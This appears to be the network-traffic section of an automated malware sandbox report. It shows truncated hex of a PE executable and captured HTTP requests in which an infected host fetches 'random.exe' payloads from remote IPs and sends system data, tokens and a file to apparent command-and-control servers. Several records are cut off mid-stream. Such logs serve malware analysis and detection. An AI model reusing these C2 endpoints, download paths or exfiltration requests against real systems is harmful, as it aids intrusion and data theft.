87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 20 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 68 00 00 04 00 00 68 5d 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 29 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 73 6f 62 6e 63 6a 63 00 80 19 00 00 90 4e 00 00 7c 19 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6c 62 6a 7a 6a 78 76 00 10 00 00 00 10 68 00 00 04 00 00 00 fa 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 68 00 00 22 00 00 00 fe 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 08:02:09 GMTContent-Type: application/octet-streamContent-Length: 970752Last-Modified: Mon, 16 Dec 2024 07:20:28 GMTConnection: keep-aliveETag: "675fd4bc-ed000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad d4 5f 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 20 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 0f 00 00 04 00 00 8a 4b 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 78 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 64 01 00 00 40 0d 00 00 66 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 0e 00 00 76 00 00 00 5a 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 16 Dec 2024 08:02:12 GMTContent-Type: application/octet-streamContent-Length: 970752Last-Modified: Mon, 16 Dec 2024 07:20:28 GMTConnection: keep-aliveETag: "675fd4bc-ed000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad d4 5f 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 20 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 0f 00 00 04 00 00 8a 4b 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 78 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 64 01 00 00 40 0d 00 00 66 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 0e 00 00 76 00 00 00 5a 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 39 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015993001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 39 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015994001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 39 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015995001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /kJZQfgRLErzqwUgdaDCN1734167391 HTTP/1.1Host: home.fivegr5sb.topAccept: /Content-Type: application/jsonContent-Length: 440324Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 33 33 36 31 30 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
Source: global traffic	HTTP traffic detected: GET /kJZQfgRLErzqwUgdaDCN1734167391?argument=xcYEcX77GNw1TwQo1734336105 HTTP/1.1Host: home.fivegr5sb.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 39 39 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015996001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 39 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015997001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 39 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015998001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJDBAEHIJKJKEBFIEGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 42 46 30 43 41 32 43 33 45 39 33 33 31 35 38 38 32 31 30 39 39 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 44 42 41 45 48 49 4a 4b 4a 4b 45 42 46 49 45 47 48 2d 2d 0d 0a Data Ascii: ------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="hwid"5BF0CA2C3E933158821099------IJJDBAEHIJKJKEBFIEGHContent-Disposition: form-data; name="build"stok------IJJDBAEHIJKJKEBFIEGH--
Source: global traffic	HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fivegr5sb.topAccept: /Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------ojDav18xMfRc9HSM88KVznData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6f 6a 44 61 76 31 38 78 4d 66 52 63 39 48 53 4d 38 38 4b 56 7a 6e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 51 61 72 65 6c 69 77 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 32 20 77 7e 20 04 55 20 2f 69 2a 6d 48 2a 12 68 be 82 16 83 ab af aa b7 09 7c aa 95 b3 ba 98 03 c2 ab 02 86 b1 db 60 73 ea 46 57 5d 7f 45 22 84 14 8c f6 b8 3e aa 3a 67 3d 92 d9 ff 22 f9 19 9b 51 20 7f a3 e2 a9 75 9e 18 42 c6 5c 79 f5 3c 76 51 c6 93 45 0e 32 d7 7c f8 64 a8 48 b9 05 c9 0a 6a b5 e5 76 0e 9d 21 38 77 eb 76 f3 f5 6a 9a ae 1a 27 f9 98 fa 19 c9 af 39 cc 85 1d 8f 38 dc e2 34 eb 23 82 65 79 67 c5 68 39 66 6d 55 b8 de 64 78 78 95 98 34 4b 65 70 37 50 4c fc a2 fe 1f 74 07 88 e7 37 29 ec 64 bb 12 96 f9 3a b6 e0 cf 50 b2 07 d3 ce 70 8c 05 06 aa 3f b0 a2 2e f3 cd fb 34 eb 7e c9 a6 c5 a8 3b 54 88 71 e7 04 fd e7 28 5a 61 eb ec 37 8a 87 79 ee bc 5b 66 66 d6 29 16 79 0d 96 8c 0f 98 70 f0 c8 51 3c b7 fa e7 9e 33 e9 62 3b 1c fd cf 4d 3b 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6f 6a 44 61 76 31 38 78 4d 66 52 63 39 48 53 4d 38 38 4b 56 7a 6e 2d 2d 0d 0a Data Ascii: --------------------------ojDav18xMfRc9HSM88KVznContent-Disposition: form-data; name="file"; filename="Qareliw.bin"Content-Type: application/octet-stream2 w~ U /imHh\|`sFW]E">:g="Q uB\y<vQE2\|dHjv!8wvj'984#eygh9fmUdxx4Kep7PLt7)d:Pp?.4~;Tq(Za7y[ff)ypQ<3b;M;--------------------------ojDav18xMfRc9HSM88KVzn--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAECFCAAECBGDGDHIEHJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 35 30 31 63 37 36 36 39 37 65 35 36 31 66 32 34 39 62 32 36 64 30 35 63 30 65 30 33 61 36 34 32 62 36 62 38 38 36 31 32 61 66 35 38 32 38 39 65 32 38 36 34 64 39 34 30 35 65 34 66 37 31 32 65 35 39 66 38 62 64 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 2d 2d 0d 0a Data Ascii: ------BAECFCAAECBGDGDHIEHJContent-Disposition: form-data; name="token"d501c76697e561f249b26d05c0e03a642b6b88612af58289e2864d9405e4f712e59f8bd8------BAECFCAAECBGDGDHIEHJContent-Disposition: form-data; name="message"browsers------BAECFCAAECBGDGDHIEHJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJEHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 35 30 31 63 37 36 36 39 37 65 35 36 31 66 32 34 39 62 32 36 64 30 35 63 30 65 30 33 61 36 34 32 62 36 62 38 38 36 31 32 61 66 35 38 32 38 39 65 32 38 36 34 64 39 34 30 35 65 34 66 37 31 32 65 35 39 66 38 62 64 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="token"d501c76697e561f249b26d05c0e03a642b6b88612af58289e2864d9405e4f712e59f8bd8------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="message"plugins------DAAECAFHDBGIDGCAEHJE--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGCAAKJDHJJJJJKKKFBHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 35 30 31 63 37 36 36 39 37 65 35 36 31 66 32 34 39 62 32 36 64 30 35 63 30 65 30 33 61 36 34 32 62 36 62 38 38 36 31 32 61 66 35 38 32 38 39 65 32 38 36 34 64 39 34 30 35 65 34 66 37 31 32 65 35 39 66 38 62 64 38 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 2d 2d 0d 0a Data Ascii: 